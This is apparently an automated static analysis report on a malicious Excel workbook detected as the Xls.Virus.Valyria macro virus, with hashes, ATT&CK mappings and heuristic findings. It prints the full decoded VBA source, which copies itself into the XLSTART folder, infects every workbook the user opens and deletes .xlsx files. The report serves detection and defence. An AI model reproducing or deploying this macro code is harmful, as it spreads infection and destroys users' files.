Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 f74d68f2f0ed659b…

MALICIOUS

Office (OLE) / .XLS

68.5 KB Created: 2026-06-15 07:34:07 Authoring application: Microsoft Excel First seen: 2026-06-24
MD5: d63c4f510384ff5b43aaefe1b3028106 SHA-1: 0d1890a34a6a4fc37b5916893c3a3bc0fad2defe SHA-256: f74d68f2f0ed659b4ff9ab0127559c4d78fbb786ba78369162a374bf857ee8e0
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros, detected by ClamAV as Xls.Virus.Valyria. The Auto_Open macro attempts to achieve persistence by copying itself to the Excel startup folder as 'mypersonnel.xls' and setting an OnSheetActivate hook to infect other workbooks. The Auto_Close macro attempts to convert the workbook to an older .xls format and delete the .xlsx version.

Heuristics 6

  • ClamAV: Xls.Virus.Valyria-10007756-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10007756-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1376 bytes
SHA-256: 1ef4ee495cbfaef36496b50a3eef252884ee17ae13c007bed5f33db50487486b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled



Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 
 
 End If
End Sub

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